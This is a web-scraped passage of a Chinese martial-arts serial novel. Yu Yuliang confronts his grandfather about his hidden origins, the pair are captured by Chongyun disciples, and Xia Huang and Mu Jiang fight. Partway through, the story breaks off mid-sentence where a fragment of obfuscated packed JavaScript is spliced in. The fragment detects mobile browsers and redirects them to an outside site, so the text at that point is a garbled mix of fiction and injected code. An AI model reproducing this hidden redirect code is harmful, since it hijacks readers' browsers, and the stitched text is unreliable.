雨馀凉一边摸索着旁边的石壁,一边伸腿探着脚下的路。突然,他的手一下摸了个空。雨馀凉先是一惊,随即转头看去,旁边一片深不见底的黑色,他仔细端详了一阵,道:“爷爷,这里好像有个石洞!我们可以先在石洞里躲雨,顺便歇息一下。” 雨休道:“我们在这里停下,一会被人追上怎么办?” 雨馀凉想了想,道:“爷爷,我们这般在大雨里摸黑走,这里又是郊野,实在很是危险。不仅如此,我们行得极慢,要是真有追兵往这条路上追的话,无论怎样都会被追上的,倒不如在这里躲躲。况且那些追兵都是武艺高强之人,定是施展轻功在半空由上至下地搜寻我们的踪迹,如此便轻易发现不了这个石洞。我们也不在这里久待,等雨一停就走,不须等到天亮。” 雨馀凉刚说时,雨休还想反对,听雨馀凉说完后,雨休沉吟一阵,道:“也有道理,便进去避一避吧。” 石洞里出人意料地宽敞。雨馀凉弯腰进去时还以为到了里面只能坐着,不想石洞内壁顶部比洞口高得多,人在里面不仅能站直,就算两条手臂高举起来,也碰不到石壁顶端。爷孙二人仍旧不敢燃起火把或点灯,并且两人都只有脚上一双鞋子,因担心随时可能有人追过来,也就将湿鞋穿着。 爷孙俩背靠石壁,望着洞口源源不绝的雨帘,半晌无话。 雨馀凉积攒了一肚子的话,有好几次都要冒出喉尖了,却因为着急赶路而生生地咽了下去。此刻二人无事,雨馀凉却反而一句也说不出来,他竟有些不忍心打破眼下的沉默,风波后的片刻宁静,在此时显得如此可贵。 还有就是,不知道为什么,他有种没来由的预感,那便是以后再也享受不到这种平静了。 雨休突然道:“凉儿。” 雨馀凉眼皮倏地一跳,道:“什么事,爷爷?” 雨休道:“你知不知道为什么会发生今天这一切?” 雨馀凉心中一动,嘴里答道:“不知道。” 雨休道:“我是在‘复仇’。” 雨馀凉道:“复仇?复什么仇?” 雨休道:“谷州刀派那些人,都是我的仇人。” 雨馀凉又问:“你复什么仇?又干什么把九寒山牢的人牵扯进来?” 雨休道:“说来话长,之后我再跟你说。注意看着外面的雨,稍微小一点我们就走。” 雨馀凉道:“跟我爹娘有关吗?” 雨休一愣,没想到雨馀凉会突然问这个问题,只道:“没有。” 雨馀凉道:“我是不是你捡来的?” 雨休答得很干脆:“你是跟我有血缘关系的亲孙子,怎么可能是捡来的。” 雨馀凉本就因这几日接连发生的事心中气苦,此时见雨休撒谎撒得这么自然来骗自己,再也忍不住爆发出来,道:“你还在骗我,你还在骗我!我这辈子最恨别人骗我!” 他仍记得追兵的事,所以就算是情绪爆发,也还是压低了声音。 雨休也急了,道:“我哪里骗你?你本来就是我的孙儿!” 雨馀凉道:“你不用再说了,我都知道了。就算先不说这个,你跟那个夏篁又是怎么一回事?你为什么之前不跟我说?为什么要瞒着我?可见从小到大你骗我的事太多,又岂止这一件!” 雨休本来还待争辩什么,但雨馀凉说到最后,话语里竟带上了哭腔,或许雨休自己也不知道该怎么说,说了个“我”字,之后的话便也没说下去了。 二人都沉默了,洞外哗哗的雨声听上去格外清晰,清新湿冷的空气夹杂着草木的气息一阵阵地吹进洞里。 雨休道:“我们离开谷州府,去到远一点的地方。必要时,去水西,或者水东。” 雨馀凉脾气上来,只道:“我不会跟你走的,我要自己去找寻我的身世。” 雨休气急,道:“你怎么去寻?你身上那点三脚猫的功夫,不说武林人士了,连山贼强人都打不过,还要去寻什么身世?去送死还差不多!”雨休以前从来都没当着雨馀凉的面说过他武功不好,反而总是对雨馀凉进行安慰,说他的招式很好,对有些招式动作的掌握甚至强过铎占文。雨馀凉对自己的武功处在什么水平心知肚明,也隐隐知道雨休那样说是安慰他的成分居多。不想今日雨休直截了当地说出了实话,雨馀凉虽然知道他说的是事实,一时却也有些难以接受。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717287|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他又想起之前夏篁让雨休和他先走时说的话,夏篁说自己和雨休是“两个不会武功的人”。 原来自己这种程度,在真正的武林人士看来,就跟没有武功一样。 更让雨馀凉心里凉了半截的是,雨休竟没再说他本就是自己的孙子之类的话,而是说他去寻找自己的身世无异于送死。 也就是说,雨休在无意间已经承认了,自己不是他的孙子。 看来雨休真的是在骗自己,自己就这样被自己最亲近的人骗了十多年。 雨馀凉突然眼中酸涩,道:“与其糊涂而‘幸福’地活着,我更愿意活得清醒,哪怕痛苦呢。” 雨休闻言,先是愣了一会神,随后长叹一声,道:“凉儿,我们先走,走到安全的地方,我把所有的事情都告诉你。” 正说着,雨休突然瞥见洞外不知何时已由漆黑转成了灰白,微亮的白光还将洞口附近的石壁照亮了些许。于是伸出干枯的手,将晾在一旁的雨伞拾起,道:“天亮了,雨也小了,我们走吧。” 雨休和雨馀凉先后一只手朝上扶着石壁从洞口走出。雨跟昨晚相比已经小了很多,但仍淅淅沥沥地下着,雨水打在树叶、草叶上,发出滴滴答答的声音,与雨家爷孙踩在枯枝败叶上发出的声音交织在一起,越发显得这条小路的清晨格外寂静。 雨馀凉先前对雨休说要去寻找自己身世的话,一半是气话,一半却也是发自内心的真实诉求。 雨馀凉数年前就隐隐约约察觉自己并不是雨休的孙子,但他没有确实的证据。且他每一次就这个问题找到雨休,雨休都用无比真挚的神情、无比肯定的语气打消他的疑虑,神情和语气恳切到让他感到事实确实就是雨休说的那样,于是就这样一次次被雨休骗过。 大较比试前一日谢岚星的话如一根尖针般刺破了雨休的谎言和雨馀凉的自我欺骗与麻痹,诚然,谢岚星也有可能是在撒谎,他也许只是为了刺激雨馀凉。但雨馀凉心中长久以来的疑虑和阴翳让他觉得谢岚星说的是真相,毕竟谢岚星的爷爷和雨休还曾是同门师兄弟,谢岚星应当从他爷爷那知道了不少自己不知道的事。 他到底是谁?雨休为他编造出了不存在的父母,那么自己真正的父母是什么样的?他们长什么模样?他们会武功吗?他们爱不爱自己?如果爱自己,又为什么要遗弃自己? 难道放任这些疑问不管?难道自己就这样稀里糊涂地过完一生? 他又想起大较前一天做的那个梦,火焰燃烧的噼啪声和雨声交织,如此真实。 不,他要去寻找自己的身世,他不愿糊涂的活着,他一定要知道自己到底是谁。 正当雨馀凉暗自下定决心时,从不远处传来的一声惊呼将雨馀凉拉回了现实,只听一道少年清脆的声音道:“就是他们!” 雨馀凉连忙往声音传来的方向看去,晃眼间看到雨休身躯一颤。只见小道尽头的岔口上,一群背上背剑的少年正齐刷刷地看着他和雨休,一名弟子用手指着他们,其中更有一个身形微胖的年轻女子,不是陆临又是谁? 却说昨夜木姜离开谷州刀派后,郑宝卿再也支持不住,简单和唐奕才、陆临交代几句后,便带着除陆临之外的弟子们自去歇息。唐奕才联系赵恬等谷州刀派的人处理善后,忙活了大半夜。第二天郑宝卿早早地就起床,跟唐奕才商议,还是说让陆临先把重云门这些少年弟子送回临蓟。 唐奕才道:“要不我叫开秋跟他们一起走?” 郑宝卿道:“小黄先跟着我们,还有事叫他去办。” 唐奕才道:“陆贤侄毕竟一个人,这么远的路,让开秋跟着好些。” 郑宝卿道:“别小看陆临,也别小看我们重云门,昨儿陆临一个人对付五个狱卒,小黄才对付三个呢。” 虽如此说,郑宝卿也还是担心这些弟子们在路上出什么意外,所以嘱咐陆临等弟子从另一条路回临蓟,这条路跟郑宝卿和唐奕才来谷州时的路相比虽然绕了一些,但一路上尽是武林门派或市镇,且越往北走门派越是密集。郑宝卿将重云门的门主令也交给了陆临,有了这块铁牌,陆临就可以让沿路的这些门派派出人手护送她和这些师弟妹们一程。这条路刚好经过谷州府西城门外,所以陆临带着本门师弟妹们回临蓟,虽说是从西城门出去,却是出了城门后转向北走,临蓟城在水南靠北的位置,离仲邑江很近。 重云门众弟子和雨氏爷孙,一方是出了西城门往北走,一方是出了北城门往西走;一方脚程快,一方脚程慢,天下偏有这么巧合的事,双方就这样碰上了。 雨馀凉还没有回过神来,雨休就一把扯住他往路旁的杂草丛里跑。雨馀凉的手臂上的肉被雨休揪得生疼,但此刻生死存于一线,他和雨休方向也不辨,只顾踉踉跄跄地往前跑。 陆临心中暗骂那名叫出声来的师弟,这不是打草惊蛇了吗?所幸这对爷孙武功极其粗浅低微,逃命时只晓得两只脚踏在地上跑,跟完全不会武功也差不多。陆临施展起轻功,几个起落就追上了二人。她右手前伸,分别点了雨馀凉和雨休的穴道,雨馀凉只感到浑身极酸极麻,顿时没了一丝力气,软软地就瘫倒在地。 陆临先抓起雨休背上衣服,运使轻功将他带去了岔口处。过了一会陆临回来,提起雨馀凉的衣领,也同样以轻功带了过去。 雨馀凉虽在谷州刀派学武多年,但内力等同于无,平常运使轻功也只比不会武功的人能多跳高几寸而已。此刻被陆临提着衣领在半空,只觉腾云驾雾一般。往上跃起时还好,而停留在空中看到下方景色和下落时,竟还有些眩晕和毛骨悚然。 陆临提着雨馀凉,甫一落在岔口众重云门弟子聚集处,只听得远处传来一道声音喊道:“陆师姐,我们来帮忙!” 13. 终到头来事事休(四) 陆临将雨馀凉扔在雨休旁边,抬头望去,只见岔口的另一端,两个身影一前一后地奔来,陆临看了一阵,记起他们都是谷州刀派的弟子,跑在前面的那个叫铎占文,后面的是鲍楚楚。方才那声正是铎占文喊出来的。 陆临对他们两个都有印象,昨日大较最后一场,铎占文与鲍楚楚比试,陆临看了几眼,就知他二人是什么水平了。 真是无趣,连最优秀的弟子都只是这个程度。 其他的先不说,陆临想,眼下有一件奇怪的事,唐师伯应该在昨夜丑时就已经下令封锁谷州府城门了才是,他们两个是怎么出来的? 昨日鲍楚楚因父亲被做成活死人蛊毒傀儡大受刺激,被一名师叔打晕送回自己家中,师叔跟鲍楚楚的奶奶交代了几句也就离开了。鲍楚楚醒来后看见奶奶守在自己床边,忍不住抱住奶奶大哭了一场,奶奶以为鲍楚楚是在歹人侵入门派时收了什么伤或委屈,忙拍着鲍楚楚的背安慰。 原来那位师叔见鲍楚楚的奶奶年纪这么大了,不忍告诉她鲍钟的事,只说有歹人干扰门派大较,自己先送鲍楚楚回来。鲍楚楚见奶奶似乎还不知道鲍钟的事,也没有将这件事说出。鲍楚楚哭过后,多少冷静了一些,她知道父亲的死已成事实,再伤心也无用。晚上躺在床上,思考着整件事的来龙去脉,并想着为鲍钟复仇的事。忽见寂静的街道上灯火乱晃,她没点油灯或蜡烛,屋内一片漆黑,外面黄色的灯光将幢幢人影映在了她房间的墙上。 只见这些人影走得甚急,鲍楚楚一惊,随即思索道:“难道是又出了什么变故?” 鲍楚楚一下翻身坐起,从墙上取下挂在上面的木刀,想了想,又把木刀挂回墙上,悄声走出房间,来到父亲鲍钟的房间,将放在刀架上的钢刀取了下来。 奶奶和父亲鲍钟是鲍楚楚在世上仅剩的两个亲人,鲍钟平时大部分时间都在九寒山牢,所以平日家里只有鲍楚楚和奶奶两个人。她蹑手蹑脚来到奶奶床前,听见奶奶呼吸平稳,似乎已经睡着了。于是放心走出家门,左右张望了一阵,发现长街的尽头一片黄色灯光逐渐远去,知道是方才路过自己窗外的那群人,便一路尾随过去。 鲍楚楚加快脚步赶上那群人,走近了才发觉这些人都是谷州刀派的同门,且都是比她高一辈的弟子,即自己的师伯师叔们。她怕被发现,不敢离得太近,只维持着约莫两丈的距离,所以能听见他们说话,却听得不太真切。 只听其中一人道:“肯定已经出城去了,这时候还让我们在城里巡什么逻呢。” 另一人道:“唐掌门说是要以防万一。” 又有一人说道:“以防个屁!要以防万一的是他,却让我们半夜三更不睡觉!” 最先说话的那人道:“要我说,事情的根源全都在那个雨休!他妈的杀千刀的雨休,做出这等猪狗不如的事,他的天良真是被狗吃了!” 鲍楚楚一路跟去,直跟到了西城门处。她远远地躲在一条小巷的阴影中,看这些师伯师叔们跟城门的守卫交代了些什么,又继续往另一处去了。只见城门处的守卫比平时增加了少说一倍。 城门紧闭,且有人把守,要从城门出去是不可能了。 鲍楚楚仰头望了望高耸的城墙,一边望一边慢慢挨过去。 黑暗中,鲍楚楚突然撞上了什么东西,她一惊,忙定睛看去,悚然发觉自己面前似乎是一个人。那人也是一惊,两人不约而同地问道:“谁?”却都听出对方声音有些熟悉。 鲍楚楚迟疑道:“铎师兄?你怎么在这?” 铎占文辨识了一会,也认出了面前的人是鲍楚楚。铎占文没有回答她的问题,而是也问道:“鲍师妹,这么晚了怎么还在外面?” 鲍楚楚沉默一阵,最终觉得没什么掩饰的必要,道:“我要出城,找人。” 铎占文先是一愣,突然灵光一闪,说道:“鲍师妹也是去找雨师弟和他爷爷的?既如此,我们二人搭个伴,也好相互有个照应。” 鲍楚楚对铎占文说自己是去找雨氏爷孙不置可否,只问:“你找他们做什么?” 铎占文道:“自然是为门派尽一份力。”他本来想说门派遭遇危机,眼下只有上一辈的师伯叔在忙里忙外,大半夜的都不能够休息。他们年轻一辈弟子本来也该贡献自己的一份力量,为长辈分忧,然而很多年轻弟子实力不济,来了也帮不上什么忙,说不定还会无端丧命。年轻一辈弟子中,只好由他来承担这份责任。但铎占文突然想到自己不久前才刚在大较输给了鲍楚楚,这番话便没好意思说出来。 其实铎占文内心还有小九九。之前大较惜败鲍楚楚,他心里很不好受,一来是当着那么多人的面大丢面子,二来是他多年来建立的自信一下就被击垮了。铎占文这几年一直志得意满,觉得自己的的确确是个武学奇才,家里人夸,外面师父同门夸,连在街上走时,都会有不习武的路人认出他,路人说自己每年都会去谷州刀派观看大较,而他不就是那个年年都夺魁的铎占文吗如此夸赞一番。 还有就是,若说这只是一次普通的大较倒也罢了,偏偏这次大较有临蓟来的贵人观摩,他能否一飞冲天,全靠这次大较,结果全砸在鲍楚楚手上。 总之,这次大较被铎占文引为从他出生到现在第一憾事,不,说不定还会成为他整个人生第一大憾事。 虽然之后发生了那么大的风波,但他仍满心想着自己那还没开始就已经付之东流的事业。之后在看台上看夏篁怎样,两位临蓟的掌门怎样,雨馀凉怎么又到看台下面去了,木姜又怎么突然从哪冒出来,鲍楚楚怎么又崩溃了,这些事似乎都发生在很遥远的地方,而铎占文只沉浸在自己的内心世界中,越想越觉得自己不是输了一场比试,而是输了整个人生。 突然间,一个大胆的念头闯入他的脑海:自己虽然输了,却也只是输给了鲍楚楚,他好歹仍是本次大较第二,也不算太丢人。而如今门派发生这么大的意外,还把临蓟来的贵人也牵扯了进去,若他铎占文能帮上一些关键性的忙,说不定临蓟的两位掌门就会对他刮目相看,进而将他带去临蓟,自己就可在临蓟开创一番事业。 据他观察,临蓟那边似乎很缺人才,看两位掌门对那疤脸汉的态度,就差把“快来跟我们一起为盟主效力”写在脸上了。那他铎占文这样的人才,两位掌门错过了岂不可惜?只不过他的潜力尚未完全发挥出来,没被看到而已。 所以之后就算夏篁像放疯狗一样将他手下的那些怪物放去看台咬人,铎占文也没走。看台上剩下的零星几个站在较武场出口看热闹的人,其中就有铎占文。 他站在那,一直在寻找机会。 没想到机会没等到,反而看到了雨休。这可真是惊天大新闻,平时看上去唯唯诺诺人人可欺的糊涂老人,竟然是他们谷州刀派的内鬼。 后来的打斗太过凶残,铎占文依然没找到插手的机会。 之后铎占文回家躺在床上翻来覆去睡不着,心情郁闷之至。过了一会,他突然一骨碌爬起来,想道:“雨氏爷孙作为关键人物,就这么逃了,但两位掌门还有很多事需要善后,带的人手又不够,自然无力去追捕雨氏爷孙。” 机会这不就来了。 敌人里面,只有雨氏爷孙他能打过,偏偏这对爷孙身上很可能有什么关键信息,简直就是为他铎占文量身打造的一次机会。上天都把机会送到他面前了,他若不抓住,以后就是在谷州刀派这个泥潭里扑腾一辈子也休要再有怨言。 计划就是,他晚上出城,悄悄地去寻找雨氏爷孙的踪迹,找到后先离得远远的观察一番,如果那个什么夏篁在旁边就算了。如果不在,他就把一老一少都拿了,押去见郑宝卿和唐奕才两位掌门。 之后的事,不就水到渠成了吗。 他连抓雨馀凉时要说的话都想好了,假如雨馀凉向他求情,他就叹一口气,然后望着天空道:“不是我不顾及同门情分,实在是你和你爷爷的所作所为太也过分。我如今拿你,也是为了大义,师弟,休怪我无情。” 然而眼下意外碰倒了鲍楚楚,且鲍楚楚也是去找雨氏爷孙的。铎占文一开始不大愿意跟她同享功劳,但又想此功甚大,就算人是他跟鲍楚楚一起抓的,两位掌门也同样会重用他。又转念一想,鲍楚楚找这对爷孙多半是为了报仇,搞不好找到人后当场就要这对爷孙人头落地,到那时自己出手阻止,将鲍楚楚打晕,再将三人一同带回城中就是。 虽然鲍楚楚在大较比试中取代他成了优胜,鲍楚楚厉害,他也承认。但他打心眼里觉得鲍楚楚还是没自己厉害。大较那两场比试,拳脚比试胜的是他,刀法比试鲍楚楚也只是斩断了他的刀才被判为的胜利,所以他相信自己一会能打晕鲍楚楚。他甚至开始期待鲍楚楚不顾全大体,执意要杀了雨氏爷孙泄愤,这样功劳还是他一个人的,并且他阻止鲍楚楚杀死雨氏爷孙,又是一份功劳。 除了鲍楚楚最后可能会跟自己分功以外,铎占文认为带上鲍楚楚还是有很多好处的。鲍楚楚身手不差,只会成为他的助益,不会成为他的拖累。铎占文以前从未在城门关闭后出城,深夜的谷州城外到底是个什么情况,铎占文心里也没底,再加上今时比不得往日,眼下谷州府附近似乎危机四伏,有鲍楚楚在身边,更有安全感。 说走就走!不入虎穴焉得虎子,富贵险中求,他铎占文想要出人头地,若连这么拼上一把都不敢,以后还怎么成就大事业。 铎占文和鲍楚楚找到一处城墙上守卫稀疏的地方,先由鲍楚楚起跳,铎占文也随后跃起,鲍楚楚跃至还不到城墙一半高度时,轻功势道便已衰竭,铎占文便在此时出掌在鲍楚楚脚底一推,自己弹回地上,而鲍楚楚既有了借力之处,可以再次施展轻功,又有铎占文掌力的加持,第二次起跳便能跳得更高,如此一来,便可完全跳上城墙。鲍楚楚上了城墙后,再扔下一根他们在城墙脚的杂物堆里找到的绳索,铎占文牵了绳索,一跳跃至城墙一半高度处,再一脚往城墙砖石上一蹬,便也上了城墙。 凭鲍楚楚和铎占文的轻功其实都不足以在不被守卫发现的前提下翻越城墙,但两人合作却可以做到。二人心中都暗自庆幸今晚撞见了对方。 及至翻出城墙,鲍楚楚和铎占文商量该往哪个方向去寻。二人并不知道雨氏爷孙会去往哪个方向,一致决定东西南北每个方向都去看看,他们现在既在西城墙外,就先往西找去。 鲍楚楚将自己背上的雨伞取下撑开,对铎占文道:“喂,来不来打伞?” 铎占文这才看清鲍楚楚背上还背了一把雨伞。先前鲍楚楚跟踪同门时怕打伞目标太大被发现,便没有撑伞。 铎占文生平第一次跟女孩子同打一把伞,很有些不自然,便问鲍楚楚道:“鲍师妹,你还有多余的伞吗?” 鲍楚楚用看傻子的眼神看着他,道:“我又没想到会碰到你,哪来多余的伞?有伞就不错了!哦,你嫌弃我是不是?不想跟姑奶奶打一把伞,你就淋雨去!” 铎占文焉了,低声下气道:“没、没嫌弃……” 两人走了一会,铎占文又小心翼翼道:“鲍师妹,你举伞如果举累了,就给我举……” 昨晚也是鲍楚楚和铎占文无意间掐准了时机才能够出城。其实鲍楚楚先开始跟踪的那群同门就是得了唐奕才下达给赵恬、赵恬再传达给他们的命令,去跟城门守卫确认增加巡逻站岗人手的。那会才刚把增加的守卫集结在城门,若是再晚一些,增加的守卫已经都部署在城墙上各处,鲍楚楚和铎占文是万万出不了城的。 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鲍楚楚道:“我不饿。” 二人遂结束了这个话题。刚好在这时,两人看见前面岔口站了一群人,看他们服色甚是眼熟,正是昨日见过的那群重云门弟子。 鲍楚楚和铎占文走得近了些,铎占文见地上似乎还趴着两人,其中一人头发花白,这两人似乎是一老一少。铎占文心中一动,凝神看去,那一老一少果然是雨氏爷孙。 铎占文暗骂一声,怎么被重云门的人抢了先? 鲍楚楚也看清了地上的人是雨馀凉和雨休,心中一沉,和铎占文都不约而同地加快了脚步过去。 铎占文一思索,笑吟吟走上前去,先对陆临等人行了个礼,道:“见过诸位师兄师姐。”又转向陆临道:“陆师姐也是来追捕这二人的?” 陆临道:“不是。只是路上刚好碰到,顺便就拿了来。” 铎占文一喜,心想还有戏。问道:“师兄师姐们是要去哪?回临蓟么?” 陆临不答。 铎占文道:“不瞒师姐说,我们是出城来找雨氏爷孙的,不想这样巧,师姐刚好将他们擒住,我们就碰到了师姐。师姐师兄们都出来这么远了,再回城一趟平添多少麻烦。不如这样,师姐师兄们继续赶路,人就由我们押回城里。”只要是由他将雨氏爷孙送到郑宝卿和唐奕才面前,这个功劳就还是有他一份。 陆临看了一眼铎占文身后的鲍楚楚,鲍楚楚从刚才就一直一语不发。陆临道:“你们不会等我们一走远,就将这两人杀了吧。” 铎占文身形微微一晃,忙道:“我绝不会让这种事发生!”他胸中突然豪气激荡,又道:“对我铎占文来说,这种程度的押送还是不在话下的。我们师父常道,在水南,重云门、琥沙派就像是水西的两仪派、太微宗,而我们谷州刀派就好比水西的沧阆派。后者虽比不上前两者那样被公认为武林正宗、名门大派,但在武学上却有自己的独到之处。独处一隅,自成一家,便是我们谷州刀派了。我铎占文作为连续五年的谷州刀派大较优胜,将我们门派的武学精义是掌握得很全的。要是有人敢来动我押送的人,我绝对会让他付出代价。以前我路过谷州府的城门,连城门口的守卫都认识我,好几个人向我点头致意。眼下谷州刀派除年轻一辈弟子都被分派了任务,我身为年轻一辈弟子中唯一可以跻身进上一辈弟子行列、与师伯师叔比肩的优秀人才,自然是不能袖手旁观。就让我将这二人送至两位掌门面前,也是尽一尽绵薄之力。”眼下是在讨论押送雨氏爷孙的事,可铎占文滔滔不绝,本质上说的全是自己,还都是些明里暗里自夸的话,观他神情,眼角眉梢尽是得色。在场的鲍楚楚,以及其他重云门弟子,多少都有些替铎占文感到尴尬。 陆临这下多少猜到了,这铎占文这么积极地要揽下将雨氏爷孙送回谷州府这趟活,是要到自己师父和唐师伯面前邀功。 看铎占文明明也就那个程度,却自我感觉良好得很的样子,陆临心中厌烦,要给他泼一泼冷水,于是冷笑道:“不过是在小门小派里鹤立鸡群,还以为自己多厉害,只当整个武林只有他们谷州刀派那么大。上个月出来前,黄师伯问师父:‘你们要去的是个什么门派?’师父说:‘在谷州府,叫谷州刀派,不是很有名。’黄师伯笑道:‘什么不是很有名?那是相当没有名了,我活了几十年,还是头一次听说这个门派。’就这样还敢自比为水西沧阆,我们水南的七大门派还没说什么呢,真是眼界越窄越是自大。小兄弟,我奉劝你一句,做人还是要谦虚。” 她这席话虽然在理,但过于刻薄了。 铎占文虽然骄傲,但先前对陆临的态度一直比较恭敬,并无得罪之处,可这陆临却不管那么多,一点面子都不给。一时间,铎占文脸上漫上一片血红之色,显是难堪至极。 铎占文一向自矜,门派里上上下下对他从来是夸赞之辞,时间一久,便觉得以自己的身手,就算是离开门派投身江湖,也不输那些武林成名高手,自己所缺的,不过是江湖经验罢了。之后看到年龄比自己只大一两岁的陆临和黄开秋与狱卒相斗,自知不如,心中略有些沮丧,但又觉得以自己的天资,追赶上他们也只是稍微努努力的事。以前顺风顺水惯了,如今被真正的名门大派弟子狠狠嘲讽了一番,心中一下产生了极大的落差,脑中一片空白,继而无地自容,竟呆呆地站在那一动不动了。 陆临不再看铎占文,转头正要对身后的师弟妹们吩咐些什么,忽然又有一道声音传来。 “雨老爹,我不是让你在东城门外等我么,你若是走错路了,这方向偏得可有点远。” 夏篁说这话时面无表情,看起来不是很高兴。 14. 终到头来事事休(五) 鲍楚楚、铎占文以及重云门众弟子只见方才还空空如也的小路上,赫然多了一道紫色的身影。 众人这一悚实在非同小可,浑身血液仿佛都凝固了。在这里看见夏篁,真如青天白日见鬼了一般。 此刻唐奕才、郑宝卿还有那个疤脸汉子木姜都不在,他们这群人之间武功最强的陆临都难以与夏篁正面交锋,这该如何是好? 难道他们今日竟要全部死在这? 陆临额边滑下一滴冷汗,正准备上前拼一拼时,忽闻得身后的重云门弟子传来几声惊呼,转头看去,不由得也呆住了,只见一名重云门弟子一剑刺入了雨休胸口。 原来那名重云门弟子看见夏篁后十分害怕紧张,便想先将雨休杀了,这样雨休就无法在夏篁旁边帮后者分析招式,他们这边的赢面也更大些。但他刺了这一剑后,见众人都看着自己,连忙松手撒剑,那剑就这样插在雨休身上。 雨馀凉一开始也愣住了,回过神后便大叫着想要扑过去。然而身上穴道还被点着,无法动弹,只能满眼通红怒视着那名剑刺雨休的弟子。 陆临瞪了一眼那名弟子,想赶忙过去察看雨休的伤势,但强敌在侧,又不敢分心。她倒不是怜惜雨休的性命,而是要将活着的雨休送去师父师伯那由他们审问,夏篁是谁派来的?为什么要来杀重云门和琥沙派的掌门?他们在背后还有什么谋划?诸如此类问题。若雨休死了,夏篁又难以抓到,他们便失去了一次了解敌人底细的绝好机会。 陆临只好对其他弟子道:“赶紧给他裹伤,千万不能让他死了!” 夏篁骂道:“不知天高地厚的东西!”说着一个起落便落在了雨休身旁,重云门弟子纷纷惊慌退开。夏篁运指如飞,先伸手解了雨休和雨馀凉的穴道,雨馀凉身上穴道甫一解开,便连忙爬过去察看雨休的情况。 只见夏篁又点了雨休身上的几处穴道,然后握住刺入他胸口那把剑的剑柄往外一拔,竟没有血从伤口流出。夏篁将剑甩在一旁,从袖中拿出一个药瓶交给雨馀凉,道:“你给他喂一粒……不,喂两粒下去。”又摸出一卷绷带,也一并交给雨馀凉。 夏篁做这些的时候,全不设防,竟是根本没把陆临等人放在眼中。陆临等其他人也就在一旁看着,谁也不敢上前,也不敢逃走。 雨馀凉拨开药瓶的塞子,将里面的药倒在手心,只见药丸是红色的。他倒出两粒后,一粒一粒给雨休服下,等雨休将两粒药都吃了后,雨馀凉又扯开绷带给雨休包扎。 夏篁起身,众人只见他拿出短笛,凑到嘴边吹出了几个音调。 陆临、铎占文、鲍楚楚等人俱是一震,都连忙拔剑拔刀,摆好架势,紧张地向四周张望。 夏篁摆摆手道:“省省吧,我对你们这些小虾米可不感兴趣。”他话音刚落,只见前方的树丛中闪出一道黑影,鲍楚楚看清来人后,本来举着刀的手缓缓垂下。 那是鲍钟。 先前郑宝卿等人已将包括鲍钟在内的所有狱卒手脚筋都挑断了,唐奕才又将这些狱卒都捆了起来,为什么鲍钟还能站立?又为什么会出现在这? 带着这样的疑惑,陆临往鲍钟手腕脚跟上看去,只见那些断口还在,只是断口处亮晶晶的,似是用丝线之类的东西将断口缝住了。 鲍钟来到夏篁身边,将雨馀凉和雨休一边一个扛在肩上转身就走,半刻没有停留,亦没有看鲍楚楚一眼。 铎占文只感到身边人影一闪,定睛一看,原来是鲍楚楚提起轻功向鲍钟离开的方向追了过去。 见鲍楚楚朝那边追去,铎占文朝鲍楚楚伸手“诶”了一声,见后者头也不回地走了,只能慢慢将手放下。 夏篁看向鲍楚楚远去的背影,冷哼一声,正要向前跃出。忽然瞳孔骤缩,连忙将身形一侧,只感到一股凌厉的刀风从脸上擦过,接着便是一缕头发飞过眼前。夏篁在地上站定,抬头望去,只见眼前站着一个三十来岁的汉子,面色黝黑,脸上带疤,来人不是木姜又是谁? 木姜手握长刀,刀身斜指地面,刀尖隐隐泛着蓝光。夏篁又低头往旁边看去,一旁地面上还落着他方才被削下来的头发。 陆临等人俱是大喜,虽然木姜立场不明,但先前一直在帮他们重云门和琥沙派。有木姜在,眼下他们不仅性命无虞,说不定还能将夏篁活捉回去。 夏篁对木姜道:“是阁下啊。阁下一开始不是跟这件事无关么?却为什么几次三番跟我作对?” 木姜道:“现在有关系了。” 夏篁道:“你是为了救这些重云门的弟子?行啊,我今天本来就没打算杀他们,大家各走各路,请吧。” 木姜道:“你杀不杀他们跟我无关,现在你是我的目标之一。” 夏篁闻言,盯着木姜的脸看了一会。忽然右手向前探出,呼呼两掌分别向木姜面上、喉头攻去。木姜以刀柄底端戳中夏篁手掌根部,夏篁顿时感到整条右臂剧麻,但他临危不乱、变招奇快,左掌立时向前击出。木姜上半身向后仰倒,同时手腕一转,长刀刀刃在空中划出一道弧形,刀刃自下而上径砍夏篁手臂。 陆临看了木姜这招,暗暗在心中喝彩。陆临先前和夏篁交过手,知道夏篁出招极是狠辣,偏生武功路子又威猛,所以他每次出招,总挟着一股势不可当的劲道,对手往往便被这凌厉至极的出招方式逼得喘不过气来,只能固守,很难反击。而木姜面对这样猛烈毒辣的攻势,既未格挡,也未闪避,而是与夏篁针锋相对,将这些凌厉无俦的招式一一拆解。不仅如此,以木姜方才转动刀刃的方位,本来是会削到自己的,但她上身往后一仰,既避免了被自己的刀刃削到,又躲开了夏篁拍来的左掌,还能在夏篁猝不及防间顺势砍他手臂,一套动作简直是浑然天成。 夏篁见刀刃往自己手臂下方砍来,右边袖子一抖,那把黑紫短剑便已握在手中。夏篁握剑将木姜的长刀挡开,两人一时间斗得难解难分。 旁边忽然传来一声呼啸,只听得有人道:“狗贼,今日定要将你拿下!” 重云门弟子听到这熟悉的声音,都又惊又喜,纷纷向四周张望,一边张望一边叫道:“唐师伯!” 来的不只唐奕才,郑宝卿也一齐现身,二人分别挺剑向夏篁刺去。木姜见唐郑二人到来,足尖一抵,瞬间向后跃出数丈。 夏篁无暇去追击木姜,回身同时架住两柄长剑,表情甚是狰狞。 木姜向后跃出,在半空中轻轻巧巧一个转折,便头也不回地离去了,整个过程略无一丝阻滞。他远去的方向,依稀是鲍钟带走雨氏爷孙的方向。 雨馀凉被鲍钟扛着,心中战若擂鼓,丝毫不敢多动一下。同时他又担心爷爷的伤势,只得慢慢转动脖子看向雨休,只见雨休睁着两眼,定定看着某处出神,表情竟十分平静。 